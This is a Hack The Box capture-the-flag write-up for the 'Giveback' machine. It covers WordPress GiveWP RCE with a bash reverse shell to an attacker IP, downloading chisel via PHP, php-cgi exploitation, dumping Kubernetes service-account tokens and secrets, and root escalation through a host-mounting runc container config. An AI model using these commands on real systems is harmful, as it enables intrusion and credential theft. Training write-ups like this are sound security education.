Mystic

Giveback WriteUp - HackTheBox


Giveback is a medium rated Linux machine on Hack The Box. It demonstrates how vulnerabilities in a WordPress application can lead to container compromise and how weak isolation and secret management within a Kubernetes cluster can be exploited for lateral movement and privilege escalation. The challenge teaches key concepts in container pivoting, Kubernetes API abuse, and privilege escalation through misconfigured service permissions.

Enumeration

Nmap

We start things off with an nmap scan of the machine.

nmap -sVC --min-rate 1000 10.10.11.94 -p-
Nmap scan report for giveback.htb (10.10.11.94)
Host is up (0.15s latency).
Not shown: 65517 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp    open     http         nginx 1.28.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-generator: WordPress 6.8.1
|_http-server-header: nginx/1.28.0
6443/tcp  filtered sun-sr-https
10250/tcp filtered unknown
30686/tcp open     http         Golang net/http server
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sun, 02 Nov 2025 20:38:15 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|     "serviceProxyHealthy": true
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sun, 02 Nov 2025 20:37:52 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|     "serviceProxyHealthy": true
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sun, 02 Nov 2025 20:37:54 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|_    "serviceProxyHealthy": true
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port30686-TCP:V=7.95%I=7%D=11/3%Time=6907C11F%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Bal
SF:ancing-Endpoint-Weight:\x201\r\nDate:\x20Sun,\x2002\x20Nov\x202025\x202
SF:0:37:52\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\
SF:n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-servic
SF:e\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20t
SF:rue\n}")%r(HTTPOptions,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20
SF:application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Balanc
SF:ing-Endpoint-Weight:\x201\r\nDate:\x20Sun,\x2002\x20Nov\x202025\x2020:3
SF:7:54\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\n\t
SF:\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-service\"
SF:\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20true
SF:\n}")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,132,"
SF:HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20application/json\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Load-Balancing-Endpoint-Weight:\x201\r\
SF:nDate:\x20Sun,\x2002\x20Nov\x202025\x2020:38:15\x20GMT\r\nContent-Lengt
SF:h:\x20127\r\n\r\n{\n\t\"service\":\x20{\n\t\t\"namespace\":\x20\"defaul
SF:t\",\n\t\t\"name\":\x20\"wp-nginx-service\"\n\t},\n\t\"localEndpoints\"
SF::\x201,\n\t\"serviceProxyHealthy\":\x20true\n}")%r(LPDString,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.74 seconds

This scan reveals 2 open http services and an ssh service running on the machine.

Website - Port:80

On visiting the website, we come across a donation site developed using WordPress.

Giving Back

Be sure to add giveback.htb to /etc/hosts.

Browsing through the site, we come across a post by Babywyrm. The post also has a thought by admin_person that gives an idea that Kubernetes is being used (EKS - Amazon Elastic Kubernetes Service).

Babywyrm's Post

Exploring further, on the Donation Station tab, we come across a link for donation.

Donation Station

This takes us to a donation form.

Donation Form

Looking at the source code reveals that the site uses the GiveWP WordPress plugin - 3.14.0. A quick web search reveals that this version is vulnerable to CVE-2024-5932. Searching for its exploit, we come across this exploit by EQSTLab.

Foothold

To use the exploit we,

  • Clone the repository and install the requirements in a virtual environment.
    git clone https://github.com/EQSTLab/CVE-2024-5932.git
    cd CVE-2024-5932
    python3 -m venv .venv && source .venv/bin/activate
    pip install -r requirements.txt
    
  • Start a netcat listener.
    nc -lvnp 4444
    
  • And execute the exploit.
    python3 CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'"
    

This successfully grants us a shell.

Shell

Before moving any further, we need to perform reconnaisance. To gather valuable information, we execute commands such as,

whoami
ls /
env

The env command particularly, arms us with a lot of valuable information. Some of the important variables it displays are listed below.

BETA_VINO_WP_MARIADB_SERVICE_PORT=3306
BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306
WordPress_DATABASE_PORT_NUMBER=3306
WordPress_DATABASE_NAME=bitnami_WordPress

LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241

KUBERNETES_SERVICE_PORT_HTTPS=443
WordPress_BASE_DIR=/opt/bitnami/WordPress

LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000

Apparently, this is a Kubernetes container. The most important thing to note here is the Legacy Intranet Service, which runs on another node at address http://10.43.2.241:5000.

Running linpeas.sh also highlights the Legacy Intranet Service as it is known to be vulnerable.

Another, interesting directory we come across is /secrets which contains important passwords.

ls /secrets
mariadb-password
mariadb-root-password
WordPress-password

These will come in handy later on.

For now, we make a note of the mariadb-password.

cat /secrets/mariadb-password

The node with Legacy Intranet Service can only be accessed through the container we just exploited. The container is a WordPress node and does not seem to have many commands. It lacks both curl and wget.

To pivot, we need to use chisel which needs to be downloaded on the container. We can use PHP to do this.

  • First, we host a web server in the directory containing chisel on our attack machine.
    python3 -m http.server
    
  • Next, we download it using PHP.
    php -r 'file_put_contents("chisel", file_get_contents("http://10.10.16.3:8000/chisel"));'
    
  • Now, we need to start the chisel server on the attack machine.
    chisel server --reverse --socks5 -p 6000
    

    Ensure that proxychains is installed and configured to use port 1080.

  • And finally, start the client on the exploited container.
    chmod +x ./chisel
    ./chisel client 10.10.16.3:6000 R:socks &
    

On getting a successful connection, we can now use proxychains to access the machine's internal network.

Lateral Movement

Let's now take a look at the website of the node with Legacy Intranet Service (from the attack machine).

proxychains4 curl http://10.43.2.241:5000

Alternatively, we can also configure our browser to use Socks5 proxy at address 127.0.0.1:1080 and get the following page at http://10.43.2.241:5000.

Legacy Intranet

From this page, it is clear that the prime focus here is on insecure legacy php-cgi. Searching the internet for a related vulnerability we come across CVE-2024-4577 through which command execution can be achieved on the server.

The exploit to be used for the same can be found here.

The exploit can be used with proxychains as follows.

proxychains4 python3 CVE-2024-4577.py --target http://10.43.2.241:5000/cgi-bin/php-cgi

User Flag

We start with reconnaisance on this container.

cmd: hostname

[START]
legacy-intranet-cms-6f7bf5db84-b4z8d
IceMaster - Rocks
[END]

All the information gathered till now indicates that it is a Kubernetes K8s node and the box runs Kubernetes K8s API (Try looking at the requests made by the main website http://giveback.htb through BurpSuite for the initial clue). The WordPress node did not have any service account token but checking this container does reveal the token.

cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token

[START]
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzNjU0MTE2LCJpYXQiOjE3NjIxMTgxMTYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiYWQzY2UzYTItMTdlMS00ZmRhLWE2YjAtZDVmOGYyZTM2OTUzIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LXpjeDg4IiwidWlkIjoiNjEyYmJmZjMtOTQ3NS00ZGVmLTg2MjQtNTI1ODI4MzAwNDAzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjEyMTcyM30sIm5iZiI6MTc2MjExODExNiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.sfloPv6YgGyXw_L01Fx3jjlif9IqliX-TAjyRBZ2pv7xC1qszV2tJShr9XBfD4TqDTHQobzD24gXrqygu9YHAg3qepd6Hfy_Dd9QTSsqF1R2a1MswGxi-h9YAtfBrgT4CFyw6Ggsngsb6UQ8W4PhO3wi6EzQdtOQruBmEWTgFfo8l-FDa_NM9AnvP0PxMSqC0pUv5_shjISnGyuuTrbto_t-nwnLLZMBRPo5HFsBjMDQJ0YoToDqOr7UYGlmdKTsRxOD9Lavz-fK6LSo64gZQCt_vO85NRNA-eE2BiSRTpCPi9_0IjYOGTQg_AsQXAaNq9ov6DReXXoso7nJTHvcXA
IceMaster - Rocks
[END]

Now, we have the Access Token for accessing the API. The Kubernetes documentation can be referred for accessing the API from the pod and fetching the secrets through the API.

Finally, we fetch the secrets.

cmd: curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/default/secrets

[START]...
{ "f:data": { ".": {}, "f:MASTERPASS": {} }, "f:metadata": { "f:ownerReferences": { ".": {}, "k:{\"uid\":\"303b701d-64f0-48e4-9201-28ef74e18aaa\"}": {} } }, "f:type": {} } } ] }, "data": { "MASTERPASS": "MmM0UUEzNExlTkpYdFFxSUtPaExVdjZRWFU0Y01E" }, "type": "Opaque" }, { "metadata": { "name": "user-secret-margotrobbie", "namespace": "default", 
...
IceMaster - Rocks
[END]

The main focus is the MASTERPASS. This is base64 encoded. We decode it, and try to ssh as babywyrm.

sshpass -p $(echo "MmM0UUEzNExlTkpYdFFxSUtPaExVdjZRWFU0Y01E" | base64 -d) ssh [email protected] 

And Voila! We get in.

The user flag can be read as follows.

cat /home/babywyrm

Root Flag - Privilege Escalation

As babywyrm, we find that we can only run /opt/debug with sudo privilege.

babywyrm@giveback:~$ sudo -l

Matching Defaults entries for babywyrm on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, timestamp_timeout=0, timestamp_timeout=20

User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug

Trying to run the file, we are prompted with a requirement for administrative password.

*Remember the /secrets directory we found on the first container. It turns out, the administrative password can be obtained by base64 encoding the mariadb-password.

echo -n "<pass>" | base64

Now we can execute the command using this encoded string as the administrative password.

sudo /opt/debug -h

Debug Help

Apparently, this command can be used to run a container using runc. To read the root flag, we will create a container on which we will be root and then use it to access the filesystem of the host unrestrictively.

  • As babywyrm, we create a directory for our evil container.
    mkdir evil-container
    cd evil-container
    
  • Next, we create a config.json file.
    cat > config.json << "EOF"
    {
      "ociVersion": "1.0.2",
      "process": {
        "terminal": true,
        "user": {
          "uid": 0,
          "gid": 0
        },
        "args": [
          "/bin/sh"
        ],
        "env": [
          "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
        ],
        "cwd": "/",
        "capabilities": {
          "bounding": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"],
          "effective": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"],
          "inheritable": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"],
          "permitted": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"]
        },
        "rlimits": [
          {
            "type": "RLIMIT_NOFILE",
            "hard": 1024,
            "soft": 1024
          }
        ],
        "noNewPrivileges": false
      },
      "root": {
        "path": "rootfs",
        "readonly": false
      },
      "hostname": "runc",
      "mounts": [
        {
          "destination": "/proc",
          "type": "proc",
          "source": "proc"
        },
        {
          "destination": "/dev",
          "type": "tmpfs",
          "source": "tmpfs",
          "options": ["nosuid","strictatime","mode=755","size=65536k"]
        },
        {
          "destination": "/dev/pts",
          "type": "devpts",
          "source": "devpts",
          "options": ["nosuid","noexec","newinstance","ptmxmode=0666","mode=0620"]
        },
        {
          "destination": "/dev/shm",
          "type": "tmpfs",
          "source": "shm",
          "options": ["nosuid","noexec","nodev","mode=1777","size=65536k"]
        },
        {
          "destination": "/host",
          "type": "bind",
          "source": "/",
          "options": ["rbind","rw"]
        }
      ],
      "linux": {
        "namespaces": [
          {
            "type": "pid"
          },
          {
            "type": "mount"
          },
          {
            "type": "uts"
          }
        ]
      }
    }
    EOF
    
  • Now, we create a minimal root filesystem - rootfs
    mkdir -p rootfs rootfs/lib rootfs/lib64 rootfs/lib/x86_64-linux-gnu rootfs/bin rootfs/usr
    
    # Copy sh and bash
    cp /bin/sh rootfs/bin/
    cp /bin/bash rootfs/bin/ 2>/dev/null || true
    
    # Copy all required libraries
    ldd /bin/sh | awk '/=>/ {print $3}' | xargs -I {} cp {} rootfs/lib/ 2>/dev/null || true
    ldd /bin/sh | awk '/=>/ {print $3}' | grep -o '/lib[^ ]*' | xargs -I {} mkdir -p rootfs/$(dirname {}) 2>/dev/null || true
    ldd /bin/sh | awk '/=>/ {print $3}' | xargs -I {} cp --parents {} rootfs/ 2>/dev/null || true
    
    # Also copy the dynamic linker
    cp /lib64/ld-linux-x86-64.so.* rootfs/lib64/ 2>/dev/null || true
    cp /lib/x86_64-linux-gnu/ld-linux-x86-64.so.* rootfs/lib/x86_64-linux-gnu/ 2>/dev/null || true
    
  • Run the container using sudo privileges.
    sudo /opt/debug run evil_container
    

This gives us a shell in the evil container as root.

Finally, the root flag can be read through this shell using the command:

/host/bin/cat /host/root/root.txt

This concludes the Giveback machine.